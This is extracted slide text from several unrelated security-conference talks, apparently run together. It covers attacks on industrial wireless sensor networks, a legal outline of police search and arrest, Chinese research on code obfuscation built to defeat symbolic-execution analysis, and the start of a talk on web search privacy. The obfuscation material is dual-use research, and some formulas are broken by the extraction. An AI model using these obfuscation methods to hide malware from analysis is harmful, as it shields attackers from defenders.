15.7.2018 25 Demo 4: Join slot jamming 15.7.2018 26 Demo 5: Capturing the join process 15.7.2018 27 Authenticated attacks Nonce exhaustion Both protocols use a semi-predictable nonce counter to feed the AES CCM* algorithm A device will reject a packet if a nonce value is lower than a previously received one Spoofing a packet with a maximum nonce value, causes legitimate packets to drop Sending spoofed measurements to influence the process 15.7.2018 28 Conclusions Still a large unexplored attack surfaces due to complexity of the protocols The released tools and research will fill this gap and enable security researchers to move forward in the field of WISN research Using WISN technology for process control and especially functional safety applications is probably not a good idea, and should be reconsidered 15.7.2018 29 Future research Expand tool with more theorized attacks Research forced rejoin triggers Mapping WISN locations (wardriving) Implementation specific vulnerabilities (transmitters, gateways) 15.7.2018 30 Questions & thank you https://github.com/nixu-corp 15.7.2018 31 /nixuoy @nixutigerteam /company/nixu-oy www.nixu.com 15.7.2018 32
pdf
The Hackers Guide to Search and Arrest. by Steve Dunker J.D. I. When Can an Officer Legally “Stop” an individual? A. Voluntary Stops It is legal for an Officer at any time to “Ask” a person to stop and talk. - A person has the right to say “yes” or “no”. B. Investigative Stops - Reasonable Suspicion required. C. Administrative Stops - Commercial Vehicles, etc. D. Road Blocks Ask: Is there a legitimate public interest? If so, stop is limited to scope. 1. Border Checkpoints: Officers can check everything coming into the country. i. Routine searches no RS or PC needed. ii. Strip Search: Reasonable suspicion required iii. Body Cavity: Probable cause 2. Drunk Driving Checkpoints: Checkpoints are valid if procedure is followed. 3. Drivers license, registration, and Insurance Checkpoints: Valid 4. Fleeing felon Checkpoints: Valid 5. Crime Witness Checkpoints: Valid 6. Security Checkpoints: Valid 7. Weigh Stations for trucks: Valid 8. Game Warden: Valid 9. Agricultural Inspection: Valid II. When Can an Officer Legally Arrest an individual? All Arrests must be based on Probable Cause. Probable Cause defined: There are enough facts and circumstances to lead police officers, in the light of their experience, to the reasonable belief that a person has committed, is committing, or is about to commit a crime. 1. Probable Cause based on the testimony of others. 2. Probable Cause based on physical evidence. Arrests in Public Places - No warrant required. Arrests in a person’s own home. - Arrest requires a warrant or emergency circumstances. III. When does an Officer have the legal right to conduct a “Search” of a Person, Auto, or Building? A. “Consent” Search Search of person - Can only give consent to the search of yourself or your minor child. If a person has legal control over an Auto or Building they can give consent. Landlord: Can Not give consent to search tenant’s property. Hotel Manager: Can Not give consent to search tenant’s room. Parents: Can Give consent to search all rooms of their home they maintain control over. Roommates: Can Give consent only to common areas and spaces under their control. B. Warrant If Law Enforcement Has a Warrant you must let them Search. - They will not wait while you call your lawyer. Warrant for Home 1. Usually a search of a home requires a Warrant. Exceptions: i. Hot pursuit ii. Emergency circumstances (see below) 2. Knock and Announce Requirement • Police must Knock and Announce before entering, Unless evidence of crime may be destroyed or other emergency circumstances. • If no one is home, they will enter. • Unreasonable damage must be paid for by the government. C. Plain View, Plain Smell, Plain Hear * Not a search • Officer must have legal right to be there. • Officer must use normal senses. • Discovery is by chance. D. Emergency Circumstances Ask: Is the evidence going to be destroyed, is there some type of danger, or will the suspect avoid capture unless the officer acts quickly? An Emergency Search is limited to the circumstances. E. “The Frisk” 1. A Frisk is for Weapons only. 2. Officer must have reasonable suspicion a crime is “afoot”. 3. Must have reasonable suspicion that suspect is armed. 4. A “frisk” is a pat-down Only. * Any item seized must be a weapon or “immediately apparent” it is contraband. F. “Search Incident to an Arrest” Requires: - Lawful arrest - Search is limited to person and immediate area in control of person. - Cars included. G. “Protective Sweeps” Officers may perform a protective sweep for other people and weapons. H. Intimate body Searches (Stomach, Cavity, etc.) Non surgical searches require reasonable suspicion or probable cause depending on circumstances. Surgical searches require probable cause. I. Work place Employers will usually give the police the right to search. Only the employee’s personal property (in which they have an expectation of privacy) can not be search with employer’s permission. Ie. Purse, briefcase, etc. J. Inventories Not a Search rather a procedure. No warrant or PC needed. K. Abandoned Property Any property that is “Abandoned” can be examined and taken by the police. 1. Once your trash has been taken to the edge of your property it can be taken by anyone, including the police. L. Containers To search an officer must have probable cause to believe evidence of crime is inside container. M. Student Searches 1. On High School Property No warrant or probable cause required to run dog. Only reasonable suspicion required to search students and lockers. 2. On College Property Warrant required to search dorm rooms unless for safety or health reasons. IV. When and How Can An Officer Use a “Tool” to aid in his Search? A. Flashlight - Law Enforcement may legally use a flashlight at any time. B. Vision Enhancers: Binoculars, Night Vision Can only use for area in the public view otherwise a warrant is needed. Ie. Can’t peep into windows. C. Hi-Tech Devices: Infra Red: Need warrant X-Ray: Need Warrant except in safety related areas with advanced notice. Metal Detector: Usually Consent Search that turns into a ‘Frisk’. D. Dogs Ask does the officer have “right” to be there? E. Aircraft Law Enforcement can legally use Aircraft per flight laws. V. Interception of Electronic Data A. Wire Tapping (Roving, Stationary) No wire tap without a warrant. Warrant for Wire tap must show: a. Crime has been, is being, or is about to be committed. b. The communications to be intercepted will contain information about the offense. c. The place monitored is used in the offense. B. Pen Registers Not A Search. NO Warrant Needed. C. Cordless Phones It Depends on the frequency. No warrant needed to intercept conversations from older Cordless telephones. D. Email and other Internet Communications - Easiest Interception is via Employers. Employer can access their own email system. - Email warrants. VI. The Use of “Bugs” by Law Enforcement. A. On agent Legal as long as agent has the “right” to be there. B. In suspect’s home or business - Warrant required. C. In Police Car - Expectation of Privacy D. Jail Cell - Expectation of Privacy VII. Fighting Back against Illegal Searches and Arrests. Exclusionary Rule: Illegally obtain evidence cannot be used in court. Criminal Law: Prosecuting the officer. - Rodney King Civil Law: Law Suits - Section 1983…. Your attorney fees are paid if you win. Internal Affairs: Police department discipline. - Time off, reduction in rank, fired.
pdf
代 码 混 淆 研 究 的 新 方 向 程瑞 西安交通大学软件学院 南子龙 西安交通大学微电子学院 范铭 西安交通大学网安学院 # 我们是谁 • 程瑞 西安交通大学软件工程学院大二 智能网络与网络安全教育部重点实验室实习生 研究方向包括程序分析、模糊测试、恶意软件检测、IoT • 南子龙 西安交通大学微电子学院大四 智能网络与网安安全教育部重点实验室实习生 研究方向包括IoT安全、密码学应用、量子器件、同态芯片 • 范铭 西安交通大学网络空间安全学院副教授 研究方向包括可解释性AI技术、AI安全、移动软件安全 # 目录 • PART I(程瑞) • 引言:代码混淆的定义以及应用 • 现状:研究现状 • 动机:已有研究存在的不足 • 方法:我们提出的若干改进方法 • 实验:实验验证我们提出的方法是否有效 • PART II(南子龙) • 同态加密 & 混淆电路 • 前沿密码学成果如何在代码混淆研究中落地化 引言 代码混淆的定义以及应用 # 代码混淆的定义 O(P) = P’ P P’ • P’ vs P 分析难度增加  更多的流程转移指令  更多的算术运算指令 语义应是相等  接收相同且合法的输入,P与P’产 生相同输出 • P’的执行环境 不可信环境  任意时刻中断程序修改代码  任意时刻读/写程序内存 代码混淆 恶意软件 数字版权保护  APT载荷  C2客户端  蠕虫木马  …  VMProtect  Themida  O-LLVM  … # 代码混淆的应用 现状 学界与业界的研究现状 # 代码混淆的分类 • 控制流混淆 变换程序控制流, 使程序控制结构变得更加复杂 • 数据流混淆 变换程序数据流, 使程序数据流向变得更加复杂 • 布局混淆 删除或修改二进制程序中对攻击者有效的信息, 如调试信息等 • 预防性混淆 针对某种特定的反混淆工具或方法的混淆方法 [1]Collberg C, Thomborson C, Low D. A taxonomy of obfuscating transformations[R]. Department of Computer Science, The University of Auckland, New Zealand, 1997. # 逻辑门 • VMProtect万用门 Nand Nor • 量子逻辑门 (或许也是三输入门 Fredkin Toffoli • 三输入门 AOI OAI # 足够安全吗 源文件 编译优化后 x86-64 Clang 12.01, -O3 # 三输入门 源文件 编译优化后 那么… # 为什么不安全 • 三输入门 vs 二输入门 AOI(a, b, -1) = ~(a|(b&-1)) = ~(a|b) = Nor(a, b), b & -1 = b b & -1 = b, a & 0 = 0, a | 0 = a, …, 那么… 从内联角度来看, 三输入门 等 价于 二输入门 • 击败二输入门 布尔代数中明确的运算规则 A + AB = (1 + A)B = A (A + B)(A + C) = A + AC + AB + BC = A + BC … LLVM InstCombine Pass lib/Transforms/InstCombine/Inst CombineAndOrXor.cpp # 不透明谓词 原程序控制流 混淆后 • 不透明谓词 永真/假型 插入的后继基本块中必有一个不被执行 可真可假型 插入的两个后继基本块的语义应相同 基本块1 基本块2 基本块1 基本块2 基本块3 # 安全性的问题 • O-LLVM  x * (x + 1) % 2 == 0  …  Angr检测出它们所需时间极短[1] • 基于API构造  CreateFile接受错误输入返回0  …  可以拓展符号执行工具为API实现输入正确性检测 [1]“Manufacturing resilient bi-opaque predicates against symbolic execution,” Hui Xu, Yangfan Zhou, Yu Kang, Fengzhi Tu and Michael R. Lyu, in Proc. of the 48th IEEE/IFIP International Conference on Dependable Systems and Networks (DSN), Luxembourg City, Luxembourg, June 1-5, 2018. # RANGE DIVIDER [1]Banescu S, Collberg C, Ganesh V, et al. Code obfuscation against symbolic execution attacks[C]//Proceedings of the 32nd Annual Conference on Computer Security Applications. 2016: 189-200. unsigned int hash = 0; for (int i = 0; i < strlen(str); i++, str++) { char chr = *str; hash = (hash << 7) ^ str[i]; } if (hash == 0x49439903) do_m(); unsigned int hash = 0; for (int i = 0; i < strlen(str); i++, str++) { char chr = *str; if (chr > 44) hash = (hash << 7) ^ chr; else hash = (hash * 128) ^ chr; } if (hash == 0x49439903) do_m(); Banescu[1]等人测量了Angr覆盖混淆后程序的所有执行路径所需时间并得出一个结论: 除代码虚拟化外的传统代码混淆技术(包括控制流平坦化,插入死代码等)已然无法有 效抵抗基于符号执行的反混淆手段。 # FOR LOOP if (i1 == 0x123456) do_m(); int ch1 = i1 & 0xFF; int ch2 = (i1 & 0xFF00) >> 8; int ch3 = (i1 & 0xFF0000) >> 16; char c1, c2, c3; for (int i = 0; i < ch1; i++) c1++; for (int i = 0; i < ch2; i++) c2++; for (int i = 0; i < ch3; i++) c3++; if (c1 == 0x12 && c2 == 0x34 && c3 == 0x56) do_m(); Mathilde Ollivier, Sébastien Bardin, Richard Bonichon, Jean-Yves Marion. How to Kill Symbolic Deobfuscation for Free (or: Unleashing the Potential of Path-Oriented Protections). In Proceedings of the 35th Annual Computer Security Applications Conference (ACSAC 2019). # 为什么它们是安全的  2种攻击场景  Secret finding  求解出能到达某一路径的输入值  FOR LOOP对输入进行了[污点漂白]。以DFS寻路说明问题,每一次无法到达 指定基本块时只能选择向上回溯一次,故而共需要搜索256次  Exhaustive path coverage  覆盖所有执行路径  RANGE DIVIDER在循环中引入分支,导致可能执行路径激增 Secret finding Exhaustive path coverage FOR LOOP √ √ RANGE DIVIDER × √ # 基于HASH函数加密跳转条件 [1]Sharif M I, Lanzi A, Giffin J T, et al. Impeding Malware Analysis Using Conditional Code Obfuscation[C]//NDSS. 2008. [2]Wang Z, Ming J, Jia C, et al. Linear obfuscation to combat symbolic execution[C]//European Symposium on Research in Computer Security. Springer, Berlin, Heidelberg, 2011: 210-226. Sharif等[1]基于HASH函数提出了一种加密条件跳转分支条件的混淆方法,然而,其 问题在于引入的MD5、SHA256等HASH函数带来的时间开销都过高,Z Wang等[2] 基于这一动机提出了一种基于3x+1猜想的击败符号执行的代码混淆方法 由于基本块中的机器码被加密了,故而当攻击者无法找到正确的输入x之前是无法进 行进一步的分析的 if (Hash(x) == HC) { Decr(Basic_Block_CodeE, x) Basic_Block_CodeE } if (x == c) { Basic_Block_Code } # 基于3x+1猜想构造路径爆炸混淆 if ( x == 30) do_m() ; y = x + 1000; while (y > 1) { if (y % 2 == 1) y = 3 * y + 1; else y = y / 2; if ((x - y > 28) && (x + y < 32)) { do_m(); break; } } 𝑓 𝑥 , 𝑥是偶数 3𝑥 1, 𝑥是奇数 ,对于任意正整数x, 进行若干次上述迭代过程后,必收敛至1  猜想的个数是有限的  机器算术上实现3x+1猜想还有一些问题  85 * 3 + 1 mod 256 == 0 [1]Wang Z, Ming J, Jia C, et al. Linear obfuscation to combat symbolic execution[C]//European Symposium on Research in Computer Security. Springer, Berlin, Heidelberg, 2011: 210-226. 动机 已有研究存在的不足 # 改进ForObfs 我们测量了Angr求解For(k==2)混淆方法每 增加一条Deadended路径所需的时间 • 大部分路径求解所需时间在0.1-0.3s • 相当一部分路径所需时间在0.02s左右 For 混淆方法可以显著增加可能的执行路径 数,然而,每一条增加的路径求解所需时间 都是极少的。那么,我们的改进思路是 • 增加每一条路径求解所需时间 𝑇ime 𝑡 Time为符号执行求解所需的总时间,n为混 淆后程序的所有路径。For混淆只考虑了n, 我们引入对𝑡的考察 ForObfs for (int i = 0; i < ch1; i++) c1++; for (int i = 0; i < ch2; i++) c2++; for (int i = 0; i < ch3; i++) c3++; if (c1 == 0x12 && c2 == 0x34 && c3 == 0x56) do_m(); # 系统化关于3x+1Obfs的研究 y = x + 1000; while (y > 1) { if (y % 2 == 1) y = 3 * y + 1; else y = y / 2; if ((x - y > 28) && (x + y < 32)) { do_m(); break; 过去的研究都表明3x+1混淆能有效抵抗符号执行工具 的路径探索 • 3x+1猜想的个数是有限的 • 猜想值迭代回1的循环次数是非常高的 • 5000-5500范围内初始值迭代回1所需次数大部 分在50-125之间 我们的改进想法是 • 研究混淆中的哪一部分使符号执行工具难以处理 • 寻找构造这类混淆方法的框架 已有研究已经证明Sharif等人的方法是有效的,然而,直接应用HASH函数的方法实在是过于粗糙 • MD5、SHA256等HASH算法的输入都是以块为单位的,一般而言,我们要加密的常数C不过是8字 节。显而易见,直接使用它们造成了许多不必要的开销 • HASH算法的个数是有限的 我们的改进方案是 • 使用密码学原语(Cryptographic primitives)构造在int、int64等类型长度上的单射函数 • 安全的密码学算法往往考虑了各种攻击手段,但在代码混淆中,我们要考虑的性质似乎只有一 点:约束求解器难以处理它们 # 减小HASH函数混淆方法开销 if (Hash(x) == HC) Decr(Basic_Block_CodeE, x) Basic_Block_CodeE 方法 我们提出的若干新混淆方法 # 对3x+1猜想的深入研究 在机器算术中很多时候 3x+1猜想迭代会收敛回0, 比如1431655765 * 3 + 1 = 0,原因是机器算术 中存在溢出。故而我们过 滤所有 y > 0xFFFF的情 况以避免出现溢出现象 我们使用Angr对编译后的BIN(-O0,无优化)进行分析,尝试 遍历所有可能的执行路径。左图显示的是随着分析的推进,每 Fork一条新路径所需的时间 图中有3处低峰,第1处是刚开始分析时的,而随着Fork路径的 增加(路径约束的复杂化),Fork新路径的时间也随之增加。第 2,3处低峰都对应着该前一条路径已经收敛至1(进入 deadended stash),故而向后回溯重新开始新路径探索 那么… Insight是什么? • 3x+1猜想可以看成是简单的分段函数 • 简单的分段函数经过n次迭代后可能也能让约束求解器 难以处理 • x / 2 的值可能是奇数或者偶数,3 * x + 1的值一定是 偶数。正是x / 2产生了路径爆炸 # 先定义一些概念 基于路径爆炸的混淆的强度来源于循环体内路径分支造成的程序状态空间激增。然而并不是任何路径分支类型都是有效 的。比如以下分支就是无效分支: • 可真可假型的不透明谓词 尽管谓词会使程序状态空间增加, 但谓词的后继基本块的语义均是相同的. 即, 当符号执行工具要求解某一输 入时, 执行了谓词中的任意一条路径等价于探索了所有路径. 故而可真可假型不透明谓词并不能使混淆的强度得到提升. • 分支条件受循环次数影响 以FOR 1中的循环为例, 当 (i % 2) 成立时, 下一轮循环 (i % 2) 必然不成立. 故而实际上 FOR 1循环体内的状 态空间数仍为 1. 基于此, 我们可以定义符号执行工具寻找到输入值 x 的概率P。 𝑃 1 𝑛 m: 输入值为 x 时, 循环执行所需次数 n: 循环体内各有效分支分支条件带来的状态空间增量和 需要注意 n 的计算, 以分支条件 exp_a & exp_b 为例, 该分支条件带来的状态空间增量为 3. FOR 1 for (i = 0; i < x; i++) if (i % 2) ch-- else ch += 3 # 变量递减型的路径混淆(DecObfs) 0x1C71C71C = f 近似于 a / 9 • f(u) + LOOP == 31 • 循环过程中,f(u)的取值范围是[4]∪[32, 0xFFFFFFFF] • u % 4 !=(==) 0 • 分段函数 • 复合使用简单分段函数能使约束求解器难以处理 • f(u)与(u * 3 / 4)的值可能能被4整除,也可能不能被4整 除 • 产生路径爆炸 • 调节常数值 • 变量递减更快 => 更少的迭代次数 => 更少的时间开销 • 不仅仅是一种混淆方法,而是一种构造一类混淆的框架 # 符号内存寻址 我们提到过改进FOR混淆的办法就是增加符号执行工具处理每一条路径所需的时间,符号内存 寻址就是非常好的工具 int i; scanf(“%d”, &i); int x = global_table[i]; ← 这就是符号内存寻址 • 符号内存寻址 • 指令访问内存的目标地址包含符号值 • 符号内存模型 • 符号执行工具的内存模型,不同的符号内存模型处理符号内存寻址的能力大不相同 # 符号内存模型 以对 a = table[i] 的内存访问为例 • Single-object model:EXE,FuzzBall • 只考虑一种情况,比如随机抽取 i == 12 • Forking model:KLEE • 为每一个可能的i的取值Fork新路径 • Merging model:Angr • 与Forking model基本相同,但是将这个过程交给了约束处理器进行处理。即向当前路 径的约束中添加Or(i=1, i=2, …), If(i == 1, a = table[1], If(i == 2, a= table[2], If….)) • Flat memory model:None • 将这个内存视为一个连续的数组,由于这样做会产生许多约束,似乎没有符号执行工具 采用这种模型 [1]Timotej Kapus and Cristian Cadar. A segmented memory model for symbolic execution[C]. //In Proceedings of the 2019 27th ACM Joint Meeting on European Software Engineering Conference and Symposium on the Foundations of Software Engineering. # 使用符号内存进行“去符号化” x * (x + 1) % 2 == 1 是永假的不透明谓词 table6中的元素是按0, 1, 2, …255排列的,我们以x 的每个字节作为索引对table6进行了访问 插入“代码片段”前,Angr检测出该不透明谓词所 需的时间为0.05s,插入后,所需时间为62s 这即是前面提到的改进ForObfs的想法:增加符号执 行工具对每一条路径的求解所需时间。至于如何增 加路径总数我们暂且按下不表 # 符号内存的强度来源 为什么插入符号内存代码片段能使Angr求解时间变长 • 访问符号内存所需时间 • T1 = 17s • Angr模拟涉及符号内存问题指令所需时间 • 求解不透明谓词所需时间 • T2 = 45s • 为什么从0.05s增加至45s? • 因为Angr使用的Merge Memory Model • 下图是变量x的符号表达式,这即是“去符号化”的含义,生成的符号 表达式“大约等价于”让约束求解器暴力遍历每一种取值情况 T1 T2 # 改进HASH Obfs • 密码学原语 • 密码中的基础组件 • 以恰当的方式组合起来构成一个高强度的加密系统 • 良好的加密系统需要考虑方方面面的攻击,然而在代码混淆中,我们需要考虑的只有一点:约束 求解器难以处理它 • 单射函数与密码学原语 • 我们将要介绍的密码学原语都可以看成一个单射函数f,单射函数具有一个数学性质:若f(a) ≠ f(b), 则a ≠ b;若f(a) = f(b),则a = b • 多个单射函数复合所得的函数仍是单射函数 • 我们可以迭代使用密码学原语以构造一个约束求解器难以求解的单射函数代替开销高的哈希函数 然而,密码学原语中有一些涉及到了符号内存(AES的S-BOX)以及路径爆炸(Feistel网络结构中存在 if 语 句)难题。在使用它们时,我们不确定强度到底来源于原语本身,还是同时引入的符号内存以及路径爆炸难 题。故而,我们将要使用的原语都不涉及到两种难题 # 可以采用的原语 • Feistel网络结构 → Feistel函数 • Input: L, R;G是任意一个单射函数 • L ^= G(R) • L, R = R, L • L ^= G(R) • 仿射变换 • f(x) = ax + b mod m,若GCD(a, m) = 1,则为仿射变换。int类型上进行运算时可以认为m = 2 • 数据依赖的循环移位 • Input: a, b;RotateL是左循环移位 • a ← RotateL(a + b, b) • b ← RotateL(a + b, a) • 异或移位 • f(a) = a ^ (a <<(>>>) n),>>>表示逻辑右移,即高位补0的右移 • 数据项扩展 • 将 n 字节扩展到 m 字节,其中 m > n,出现于SHA-1等哈希函数中 # Feistel函数单射性证明 使用反证法进行证明,不妨假设类Feistel函数不是单射的,则存在I0 𝐿0, 𝑅0 , 𝐼1 𝐿1, 𝑅1 , 𝐼0 𝐼1, 𝑓 𝐼0 𝑓 𝐼1 𝐿0⨁𝐺 𝑅0 𝐿1 ⊕ 𝐺 𝑅1 ① 𝑅0⨁𝐺 𝐿0⨁𝐺 𝑅0 𝑅1⨁𝐺 𝐿1⨁𝐺 𝑅1 ② 进行分类讨论, 1) 𝐿0 𝐿1, 𝑅0 𝑅1 将①代入②,有𝑅0⨁𝐺 𝐿0⨁𝐺 𝑅0 = 𝑅1⨁𝐺 𝐿0⨁𝐺 𝑅0 ,显然,由异或运算性质有𝑅0 𝑅1,与已知条件矛盾 2) 𝐿0 𝐿1, 𝑅0 𝑅1 由①知, 𝐺 𝑅0 GR1,则有𝑅0 𝑅1,与已知条件矛盾 3) 𝐿0 𝐿1, 𝑅0 𝑅1 与2)同理 综上所述,原命题得证,f(x)是单射函数 # 类Feistel函数 在证明过程中,我们使用了⊕运算的一个性质,即若a1 ≠ a2,a1 ⊕ b ≠ a2 ⊕ b 换言之,我们可以将⊕运算符重定义为其它运算,只要满足上述性质即可 基于此,我们可以提出一系列不同的单射函数,我们称之为类Feistel函数 f(L, R) = (L ⊕ G(R), R ⊕ G(L ⊕ G(R))),其中, ⊕运算符可以重定义 我们使用一种:a ⊕ b = f(a) ^ g(b),f,g均为单射函数 显然,对 a1 ≠ a2,假设存在 a1 ⊕ b = a2 ⊕ b,则有f(a1) ^ g(b) = f(a2) ^ g(b),f, g均为单射函数,显然,有f(a1) = f(a2),与定义矛盾,即满足上述性质 # 组合生成一个加密 • 将 4 字节的data变量扩展至 8 字节 • 进行了 4 轮类Feistel函数加密 • 类Feistel函数中的⊕运算重定义为my_xor • 每一轮类Feistel函数加密结束后都再进行一次 仿射变换以及数据依赖的循环移位 • Angr无法在6h内返回正确的输出结果 • Insight • Feistel网络结构 • 简单复合不同原语并不会有好的效果, 复合64次异或移位与仿射变换Angr 仍能在可接受时间内输出结果 • 数据扩展 • 将输入扩展后再进行处理也能有效抵 抗约束求解器 # 结合符号内存改进ForObfs 前文我们讨论了利用符号内存增加求解一条路径所需的时间,现在我们讨论如何增加路径总数 • Insight • 数据扩展前首先对原数据进行 “去符号化”操作,以增加约束 求解器求解时间 • 基于原数据取值情况来确定扩展 数据方式能有效增加路径总数 • 效果 • Angr求解出一条deadended路 径所需时间约为400s • 4 400𝑠 28.4ℎ 极端复杂情况 • 400s 极端简单情况 • 极端复杂情况 • Angr最后才遍历到正确的执 行路径 • 极端简单情况 • Angr第一次就遍历到正确的 执行路径 • Angr无法在2h内返回结果 实验 实验验证我们的方法是否有效 # DecObfs • 使用Angr求解DecObfs示例,2h内Angr仍 未返回结果 我们测量了DecObfs Fork新路径所需的时间 DecObfs vs 3x+1Obfs • 更快出现峰值 • 收敛回定值所需迭代次数更少 • 峰值更高 • 约束求解器求解所需时间越长 # DecObfs vs 3x+1Obfs 比较维度 数据范围 DecObfs 3x+1Obfs 谁胜出 收敛迭代平均次数 1-10000000 24次 152次 DecObfs 迭代次数一致时的 时间开销 88, 104, 108, 128, 48152 14秒(执行 100000000次) 6秒(执行 100000000次) 3x+1 空间开销 300 BYTE 76 BYTE 3x+1 • 时间开销 • 当迭代所需次数相同时,DecObfs的耗时是3x+1Obfs的2.4倍左右,而从我们统计的平均情 况来看,DecObfs所需的迭代次数是24次,3x+1Obfs是152次,3x+1Obfs是DecObfs的 6.3倍左右。故而,DecObfs在一般情况下的时间开销可能比3x+1Obfs更少 • 空间开销 • 3x+1Obfs 好于 DecObfs # 去符号化 vs ForObfs 只有当 k = 2时,ForObfs才开始产生作用(1/15,1h Timeout) ForObfs带来的时间开销是会随着输入变化而变化的, 故而我们讨论平均情况,也即 2 个for循环的循环次数都为128次 项目 执行次数 时间 去符号化 100000000 2s ForObfs 100000000 35s (作者甚至在论文中加了一节以讨论如何编译出ForObfs不 被优化掉的BIN,实际上加一个volatile修饰符即可…… 显然,去符号化在时间开销上远好于ForObfs。 然而,去符号化会引入一个包含256元素的数 组,造成一定的空间开销。但是可执行文件的 区段中一般存在很多为了对齐而尚未使用的内 存,我们认为严格讨论空间开销并没有很大的 意义 我们认为去符号化的代码片段可以单独插入进代码任何位置,并能显著增加约束求解 器的求解时间,我们做了一些简单的实验来验证这一想法 # 单独使用去符号化 不透明谓词 原程序Angr求解时间 去符号化后的求解时间 x * (x + 1) % 2 != 0 < 1s 63s 7 * y * y – 1 == x * x < 1s 221s x - y + x – z != (x ^ y) + 2 * (x | (~y)) + 2 + (~z - ~x) < 1s 392s 不透明谓词 符号变量数 代换 x 求解时间 x * (x + 1) % 2 != 0 2 x = x * y 227s x * (x + 1) % 2 != 0 3 x = x + y + z 332s x - y + x – z != (x ^ y) + 2 * (x | (~y)) + 2 + (~z - ~x) 3 z = x * y * z > 3h (无结果返 回) 符号变量个数增加带来的时间增长是线性的,但如果各符号变量之间并不是独立的, 而是互相存在约束关系,那么带来的时间增长就是指数形式的 Part II 解决方案-安全计算 Secure Multi-party Computation 多方安全计算:在无可信第三方情况下,通过多方共同参与,安全地完成某种协同计算。 • 基于噪声 • 差分隐私,掩盖原始数据 • 不基于噪声 • 密码学方式 • 同态加密 • 混淆电路 • … … 混淆电路(Garbled Circuit) 由百万富翁问题我们可以引入到混淆电路,在将安全计 算函数编译成布尔电路的形式后,加密打乱真值表,从 在现电路的正常输出的情况下,不泄露参与计算的双方 私有信息 Alice(资产X亿) X、Y为1~10 以内的数 姚氏百万富翁 Bob (资产Y亿) 找到对应自己 财富 十个箱子编号1~10 根据自己的财富值 多于自己的放苹果 一样的放香蕉 少的放橘子 上锁 销毁其余的箱子,撕去编号,将上锁的箱子给 Alice 开锁 根据箱子中的水果判断谁的钱更多 Alice(资产X亿) 选取公钥 X、Y为1~10 以内的数 姚氏百万富翁 Bob (资产Y亿) 选取大数n 使用公钥机密 N 密文c=N-Y 对 c+i 进行解密后模p (i=1~10) 前X个不变 其余+1 判断:kY≡n (mod p) 处理后的数列{k1,k2,k3,...,k10}及 p 是:Y≤X 否:Y>X 混淆电路 电路用户 电路设计者 安全计算函数 f f(a,b) 数据 b 数据 a 混淆电路基本协议: • Alice 生成混淆电路 • Alice 和 Bob 进行通信 • Bob 计算生成的混淆电路 • 分享结果 混淆电路 a b c xor xor xor and • Alice 生成混淆电路,并对每一个模块的结果生成两个l长 度的字符串X0,i、X1,i分别对应逻辑上的 0、1 • 对每一个逻辑门的真值表用X0,i、X1,i替换、并在替换完成 后进行对称加密 • 其中,加密的秘钥对应逻辑门真值表的两个输入 • 打乱真值表 同态加密(Homomorphic encryption) 同态加密在代码保护中的应用 同态加密概述 Dec(X+Y) = Dec(X)+Dec(Y) Decrypt X+Y X Y Decrypt Decrypt Dec(X) Dec(Y) Dec(X·Y) = Dec(X)·Dec(Y) Decrypt X·Y X Y Decrypt Decrypt Dec(X) Dec(Y) 加法同态 乘法同态 Craig Gentry 算法构造 于是可以在不公开 Enc1 和 Enc2 的解密方式的情况下,仅公开 Dec3,来实现对代码的加密 这在 Enc1、Enc2 采用相同的同态加密算法时可以实现 f'(x)=Enc2(f(x)) Enc3(B)=B'=f''(A) Obfuscate f''(x) A'=Enc1(A) Enc3(B) Dec3(B') 整体流程 A f(x) B A A'=Enc1(A) Enc3(B) =B’ =f''(A) f(x) f'(x)=Enc2(f(x)) f''(x) Enc3(B) Dec3(B') B 效果 A f(x) B A A'=Enc1(A) Enc3(B) =B’ =f''(A) f(x) f'(x)=Enc2(f(x)) f''(x) Enc3(B) Dec3(B') B 我们可以使得: 蓝色部分的数据是用户可直接得到的 绿色部分是会提供在程序里 而未标注的将会在设计完成后删去 未来展望 在现阶段的测试中,同态加密所需的开销相对较大,目前采取的办法是通过将程序分段来进 行加密保护,这一定程度上也会带来安全隐患。 在未来,我们有着以下两个研究方向: • 对同态算法进行改进 • 与电路相结合,对运算进行提速及优化 # 谢谢大家 & 问答环节 程瑞 昵称: 在野武将 ID: chengrui191954 对我们的研究感兴趣? 欢迎添加我们的微信进一步交流! 在研究过程中,我们得到了许多老师的帮助,在此表示感谢 徐辉 @ 复旦大学计算机学院 赵川 @ VXProtect研究团队
pdf
Could Googling Take Down A President, a Prime Minister, or an Average Citizen? Gregory Conti United States Military Academy West Point, New York [email protected] Outline • Information Disclosure – Computing Platform – Network Eavesdropping – Destination Websites • Vectors • Cross-site Tracking – Advertising and Embedded Content • User Motivation – The survey says • Solutions “Never talk when you can nod, and never nod when you can wink, and never write an e-mail because it's death. You're giving prosecutors all the evidence we need.” - Eliot Spitzer Two Years before his resignation http://abcnews.go.com/Blotter/story?id=4424507&page=1 Eliot Spitzer Former-Governor of New York Maf54 (7:43:27 PM): well dont ruin my mental picture Xxxxxxxxx (7:43:32 PM): oh lol...sorry Maf54 (7:43:54 PM): nice Maf54 (7:43:54 PM): youll be way hot then Xxxxxxxxx (7:44:01 PM): haha...hopefully Mark Foley Former-US Congressman http://abcnews.go.com/WNT/BrianRoss/Story?id=2509586&page=2 Can anyone help me please! This stalking thing is not funny at all. When I type my name in keyword it gives a list of places that show where I have been on aol on the net. This is nobodys business. I have not done anything wrong at all and I have contacted aol about this matter and they keep saying they will do something about it but never do. -Debbie How do I get stuff removed from aol stalker? Can anyone tell me? Aol won't respond even though they claim willingness to remove data when requested. Someone, anyone, please help! -Sally http://blogs.ittoolbox.com/security/investigator/archives/aol-stalker-website-unleashed-11133 AOL Demo • User #10291 • User #2708 The AOL Dataset Debacle SIGIR – IR List (August 2006) Subject: research.aol.com AOL is embarking on a new direction for its business making its content and products freely available to all consumers. To support those goals, AOL is also embracing the vision of an open research community. To get started, we invite you to visit us at http://research.aol.com, where you will find: • 20,000 hand labeled, classified queries • 3.5 million web question/answer queries (who, what, where, when, etc.) • Query streams for 500,000 users over 3 months (20 million queries) • 2 million queries against US Government domains Also, please feel free to provide feedback on the site, datasets you'd like to see in the future, and any other comments about our vision. AOL Psycho AOL Stalker Definitions • googling: The full spectrum of free online tools and services (such as search, mapping, email, Web-based word processing and calendaring etc.) • web-based information disclosure: the information we disclose as we surf the web Global Computing Statistics • World Population ~6.6 Billion • Cell Phones ~3.3 Billion • Personal Computers ~1.2 Billion • MP3 Players ~220 Million • Digital Cameras ~120 Million • Webcams ~100 Million • PDAs ~85 Million • DVRs ~44 Million • Servers ~27 Million Kevin Kelly, “The Planetary Computer.” Wired, 16.07, July 2008, pp52-55 Data Collection 